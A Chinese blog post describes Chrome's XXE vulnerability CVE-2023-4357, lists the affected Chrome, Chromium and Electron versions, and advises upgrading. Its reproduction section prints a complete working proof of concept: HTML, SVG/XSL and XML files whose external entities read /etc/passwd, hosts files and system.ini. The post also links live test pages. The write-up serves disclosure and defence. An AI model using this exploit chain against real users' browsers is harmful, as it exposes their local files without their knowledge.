AI 摘要(由 ChatGPT 总结生成):
文章揭示了Chrome浏览器存在的一个XXE漏洞(CVE-2023-4357),漏洞源于Chromium项目集成的libxslt在XSL处理中的不当使用。攻击者可通过构造恶意链接,绕过安全限制,读取本地文件。该漏洞在手机内置浏览器和小米浏览器中均被验证存在。影响范围包括Chrome、Chromium和Electron的旧版本。修复建议是定期检查并升级浏览器,Google已发布修复漏洞的Chrome版本。漏洞等级由中危提升至高危。

前言

昨晚看国外大佬的文章,刷到了一个关于 Chrome 的 XXE 漏洞,来了兴趣并看了下,随后简单的在自己手机上复现了一下,竟发现自己的手机内置浏览器存在这个漏洞!然后就有了该文。

漏洞在线测试地址(下述地址仅为漏洞利用证明测试,无任何收集用户信息等行为):
测试地址1:https://chrome-xxe.yfriend.xyz
测试地址2:https://chrome-xxe.yfriend.xyz/d.svg

描述

时间回溯到今年 2023 年 6 月,一位国外安全研究员 Igor Sak-SakovskiiChromium 项目报告了一个 XXE 漏洞,其漏洞的根源在于 Chromium 项目集成了 libxsltlibxslt 被用于 XSL 处理,但它允许在 XSL document() 方法加载的文档内包含外部实体。攻击者可以利用这一行为从 http(s)://URLs 访问 file://URLs进而绕过安全限制,获取文件访问权限。此外,当使用 -no-sandbox 属性时,攻击者能够在任意操作系统上读取任何文件。这一漏洞主要由于 Chromium 在实施安全策略和沙盒机制时未能充分考虑与 libxslt 的交互方式。

经复现测试,该漏洞的利用相对隐蔽,不需要复杂的交互或留下明显的痕迹。攻击者可以通过发送一个包含恶意 XSL 样式表和 SVG 图像的网站链接给受害者。一旦受害者点击这个链接,浏览器便会加载并解析这些恶意内容。攻击者能够利用这个漏洞来读取本地文件。这种攻击通常是不容易感知的,受害者可能完全不知道他们已经受到攻击。因此,检测这类攻击非常困难,这也使得这类漏洞更加危险。

值的注意的是:由于 Chromium 被广泛用于应用内自集成浏览器,这种漏洞的存在可能被用于更复杂的攻击链中,进一步威胁到用户的安全和隐私。

目前该漏洞等级已从中危提升至高危

image-20231120164418730

复现

复现的话相对而言较为简单,首先我们先创建一个 HTML 文件,命名为 chrome-xxe.html,文件内容如下:

<body>
    <script>
        const r = document.createElement('div');
        r.style.width = '40rem';
        document.body.appendChild(r);
        const ifr = document.createElement('iframe');
        ifr.style.display = 'none';
        document.body.appendChild(ifr);
        ifr.onload = function() {
            const ifrDoc = ifr.contentWindow.document.documentElement;
            r.innerHTML = `remote web url:<input value="${location.href}" style="width:100%" /><br/><br/>`;
            ifrDoc.querySelectorAll('p').forEach(p => {
                r.innerHTML += `local file path:<input value="${p.getAttribute("path")}" style="width:100%" /><br/>local file content:<textarea style="width:100%;height:6rem">${p.innerHTML}</textarea><br/><br/>`;
            });
        }
        ifr.src = "./chrome-xxe.svg";
    </script>
</body>

其中 ifr.src = "./chrome-xxe.svg"; 则是通过 iframe 标签再包含一个名为 chrome-xxe.svg 的 SVG 图像,其 SVG 图像中的内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('./chrome-xxe.xml')"/>
  </xsl:template>
</xsl:stylesheet>

SVG 图像中的 <xsl:copy-of select="document('./chrome-xxe.xml')"/> 代码再引用一个名为 chrome-xxe.xml 的可扩展标记语言 XML 文件,其 XML 文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
  <!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
  <!ENTITY hosts_linux SYSTEM "file:///etc/hosts">
  <!ENTITY hosts_windows SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<div>
  <p path="file:///etc/passwd">&passwd;</p>
  <p path="file:///c:/windows/system.ini">&sysini;</p>
  <p path="file:///etc/hosts">&hosts_linux;</p>
  <p path="file:///c:/windows/system32/drivers/etc/hosts">&hosts_windows;</p>
</div>

将上述三个文件保存至服务器端或本地同文件夹内,在用浏览器打开 chrome-xxe.html 页面,若存在漏洞,会在框内显示出该文件内容。如下是本人在 最新版微信(版本:8.0.43_2480 28002B33) 中打开测试的链接,成功读取到目标文件内容:

image-20231120173222710

进一步在我的手机上测试,发现手机自带的 小米浏览器 也中招了。所以,能升级浏览器或应用软件的尽量更新一下,防止该漏洞的利用。

影响范围

  1. Chrome 版本 < 116.0.5845.96
  2. Chromium 版本 < 116.0.5845.96
  3. Electron 版本 < 26.1.0

修复建议就是对于使用 Chromium 内核的浏览器和应用程序,请定期检查并关注来自官方渠道的安全更新和补丁。一旦发布了针对此漏洞的修复更新,应尽快进行升级。

对于使用 Chrome 的用户,Google 官方已发布新版本 Chrome 修复漏洞,建议尽快在 Chrome 内点击“关于 Chrome ”升级到最新版本。

参考

End

本文标题:CVE-2023-4357,你的浏览器可能有隐患!

本文链接:https://www.isisy.com/1522.html

除非另有说明,本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议

声明:转载请注明文章来源。

如果觉得我的文章对你有用,请随意赞赏